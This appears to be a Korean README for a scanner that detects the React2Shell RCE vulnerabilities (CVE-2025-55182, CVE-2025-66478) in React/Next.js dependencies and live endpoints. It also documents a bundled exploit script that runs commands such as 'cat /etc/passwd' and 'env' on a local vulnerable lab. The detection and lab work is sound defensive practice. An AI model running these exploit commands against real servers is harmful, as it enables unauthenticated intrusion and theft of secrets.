CVE-2025-55182 (React) 및 CVE-2025-66478 (Next.js)를 위한 스캐너 - react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack 및 Next.js와 같은 RSC 지원 프레임워크에 영향을 미치는 심각한 React Server Components(RSC)/Flight 프로토콜 취약점 캠페인을 추적하고 수정합니다.
React2Shell 버그 클래스에 대한 외부 취약점: React Server Components (RSC) "Flight" 프로토콜에서 최근 공개된 두 가지 인증되지 않은 원격 코드 실행 취약점 — CVE-2025-55182 (React) 및 CVE-2025-66478 (Next.js) 로, 둘 다 CVSS 10.0 등급입니다. 이 문제는 RSC/Server Function 엔드포인트가 공격자가 제어하는 Flight 페이로드를 디코딩하는 방식에 존재하며, 단일 조작된 HTTP 요청을 통해 잠재적인 서버 측 코드 실행으로 이어집니다. 이는 App Router 및 프로덕션 빌드를 사용하는 최신 React/Next.js 스택에서도 마찬가지입니다. 많은 팀에게는 "지금 패치하고, 노출을 확인한 후, 감사"해야 하는 순간이지, 나중에 종속성 위생 스프린트로 미룰 일이 아닙니다. LAB 폴더에는 React2Shell에 대한 익스플로잇 및 실습 취약점이 포함되어 있습니다.
이 프로젝트는 두 가지 접근 방식을 제공합니다: (1) 소프트웨어 구성/종속성 위험 스캔(이 도구)을 통해 취약한 라이브러리와 버전을 신속하게 찾고, (2) 웹 DAST 스캐너( React2Shell Web Scanner )가 외부에서 RSC/Flight 엔드포인트를 능동적으로 탐색하여 실행 환경에서 악용 가능한 경로에 도달할 수 있는지 검증합니다. 이 두 가지를 함께 사용하면 "취약한 구성 요소는 어디에 있는가?" 와 "프로덕션에서 실제로 악용될 수 있는 곳은 어디인가?" 라는 질문에 답할 수 있으므로 패치, 강화 및 사고 대응의 우선순위를 자신 있게 정할 수 있습니다.
실시간 엔드포인트 테스트 및 RCE 검증을 위해서는 전용 웹 스캐너를 참조하십시오:
📁 web-scan_CVE-2025-66478/ - 전체 문서 및 가이드
cd web-scan_CVE-2025-66478
# 종속성 설치
pip install -r requirements.txt
# 단일 대상 스캔
python3 react2shell-scanner -u https://target.com -v
# 증거 표시와 함께 스캔
python3 react2shell-scanner -u https://target.com --show-evidence
# 모든 내보내기 형식과 함께 배치 스캔
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# 취약한 대상에서 익스플로잇 테스트 (Python 3.11+ 필요)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| 기능 | 설명 |
|---|---|
| 🔍 RCE 탐지 | 산술 기반 안전 탐지 (부작용 없음) |
| 🎯 기술 지문 감지 | Next.js/React 애플리케이션 자동 감지 |
| 📊 다중 형식 내보내기 | JSON, CSV, HTML 보고서 |
| 🔗 IOC 연관성 | 31개 이상의 알려진 악성 IP와 매칭 |
| 🌐 대규모 스캔 | CIDR 범위, 서브도메인 열거 |
| ☁️ Phoenix 통합 | 발견 결과를 Phoenix Security에 업로드 |
| 💻 익스플로잇 도구 | 취약한 대상에서 명령 실행 |
cd web-scan_CVE-2025-66478/test-lab/lab
# 취약한 인스턴스(3011) 및 패치된 인스턴스(3012) 시작
docker-compose up -d
# 취약한 인스턴스 테스트
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# 익스플로잇 종속성 설치
pip3.11 install -r requirements.txt
# 기본 명령 실행
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# 출력: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# 출력: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# 출력: 99e28775bf80 (컨테이너 ID)
# 시스템 정보 수집
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# 애플리케이션 정찰
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell은 React Server Components (RSC) 페이로드를 Flight 프로토콜에서 처리할 때 발생하는 인증되지 않은 원격 코드 실행 원시 기술입니다. 실제로는 악의적인 클라이언트가 단일 조작된 HTTP 요청을 RSC/Server Function 엔드포인트로 전송하고, 취약한 버전이 사용 중인 경우 "웹 앱"을 "서버 셸"로 바꿀 수 있습니다.
높은 수준에서:
이는 인증되지 않은 RCE이므로 기본 프로덕션 설정도 범위에 포함됩니다. "서버 함수"를 명시적으로 작성하지 않았고 단순히 최신 React/Next.js 패턴을 채택한 경우에도 마찬가지입니다. 호스팅 수준의 완화 조치와 일반 WAF는 기본 안전망으로 취급해서는 안 됩니다. 노출을 줄일 수 있지만 취약한 라이브러리를 안정적으로 보완하지는 않습니다. 이를 사고로 처리하십시오:
공격자가 React2Shell을 통해 RCE를 획득하면, 방어자는 익숙한 킬 체인을 가정해야 합니다:
.env 파일, 배포 비밀, CI 토큰, 서비스 자격 증명 및 서명 키 수집.DevSecOps 파이프라인이 전통적으로 웹 계층을 "단순한 프론트엔드"로 취급해 왔다면, 이 취약점은 RSC 및 스트리밍 의미론이 관련될 때 프론트엔드 프레임워크가 깊은 서버 측 폭발 반경을 가질 수 있음을 구체적으로 보여줍니다. Universal Vulnerability Scanner는 "취약한 패키지를 어디에서 실행하고 있습니까?"라는 질문에 신속하게 답하고, 그 답을 Phoenix 기반 캠페인 및 곧 제공될 실시간 RSC 엔드포인트에 대한 웹 DAST 검증에 공급할 수 있도록 존재합니다.
# 종속성 설치
pip install -r requirements.txt
# 프로젝트 루트에서 실행
python -m universal_vulnerability_scanner.main --help
# 기본 스캔
python -m universal_vulnerability_scanner.main scan /path/to/project
# JSON 출력
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# 자동 모드 (요약만 표시)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Phoenix 구성 템플릿 생성
python -m universal_vulnerability_scanner.main create-config
# .phoenix.config를 자격 증명으로 편집
# 그런 다음 스캔 및 업로드
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# 포함된 취약 샘플로 테스트
python -m universal_vulnerability_scanner.main test
스캐너는 다음 위치에 있는 JSON 기반 취약점 데이터베이스를 사용합니다:
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "취약점 설명",
"references": ["https://..."]
}
}
}
}
.phoenix.config 생성:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new
또는 환경 변수 사용:
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"
================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00
SUMMARY:
----------------------------------------
Total findings: 12
VULNERABLE: 3
SAFE: 2
CLEAN: 5
REVIEW: 2
🚨 VULNERABLE PACKAGES DETECTED
================================================================================
1. [email protected]
File: /path/to/project/package.json
Reason: Exact match with known vulnerable version 19.0.0
✅ Safe version: 18.99.99
CVE: CVE-2025-RSC-001
[
{
"path": "/path/to/project/package.json",
"kind": "package.json",
"package": "react-server-dom-webpack",
"version": "19.0.0",
"verdict": "VULNERABLE",
"reason": "Exact match with known vulnerable version 19.0.0",
"severity": "CRITICAL",
"vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
"safe_version": "18.99.99",
"cve_ids": ["CVE-2025-RSC-001"],
"timestamp": "2025-12-04T10:30:00"
}
]
스캐너는 test_samples/에 포괄적인 테스트 샘플을 포함합니다:
| 테스트 케이스 | 설명 | 예상 결과 |
|---|---|---|
rsc_vulnerable_exact/ | 정확한 취약 버전 | 4 VULNERABLE |
rsc_vulnerable_range/ | 버전 범위 | 4 VULNERABLE |
rsc_safe_versions/ | 패치된 안전 버전 | 6 SAFE |
rsc_mixed/ | 취약/안전/클린 혼합 | 2 VULNERABLE, 1 SAFE, 4 CLEAN |
rsc_with_lockfile/ | 잠금 파일 파싱 | 2 VULNERABLE, 1 CLEAN |
테스트 실행:
python -m universal_vulnerability_scanner.main test
universal_vulnerability_scanner/
├── core/
│ └── version_parser.py # Semver 파싱 및 비교
├── models/
│ ├── finding.py # 발견 데이터 모델
│ └── vulnerability.py # 취약점 데이터베이스 모델
├── scanners/
│ ├── base_scanner.py # 추상 스캐너 인터페이스
│ └── npm_scanner.py # NPM 생태계 스캐너
├── integrations/
│ └── phoenix_uploader.py # Phoenix API 클라이언트
├── data/
│ └── vulnerability_database.json # 취약점 정의
├── test_samples/ # 테스트 케이스
└── main.py # CLI 진입점
BaseScanner를 상속하는 새 스캐너를 scanners/에 생성예시:
from .base_scanner import BaseScanner
class PyPIScanner(BaseScanner):
def _get_ecosystem(self) -> str:
return "pypi"
def scan_path(self, root: Path) -> List[Finding]:
# PyPI 스캔 로직 구현
pass
data/vulnerability_database.json 편집:
{
"npm": {
"new-vulnerable-package": {
"exact_versions": ["1.0.0"],
"vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
"safe_versions": ["1.0.5+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "취약점 설명"
}
}
}
0 - 스캔 성공, 취약점 없음1 - 스캔 성공, 취약점 발견됨2 - 스캔 실패 (잘못된 입력, 데이터베이스 오류 등)자동으로 발견 결과를 Phoenix에 업로드합니다:
# 예시 GitHub Actions
- name: Vulnerability Scan
run: |
python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
- name: Upload to Phoenix
if: always()
run: |
python -m universal_vulnerability_scanner.main scan . --upload-phoenix
react/rsc_exposure_scanner.py에서 적용enhanced_npm_compromise_detector_phoenix.py에서 적용Shai Halud 보안 툴킷의 일부입니다.
🔍 안전하게 유지하세요! 취약점은 책임감 있게 보고하십시오.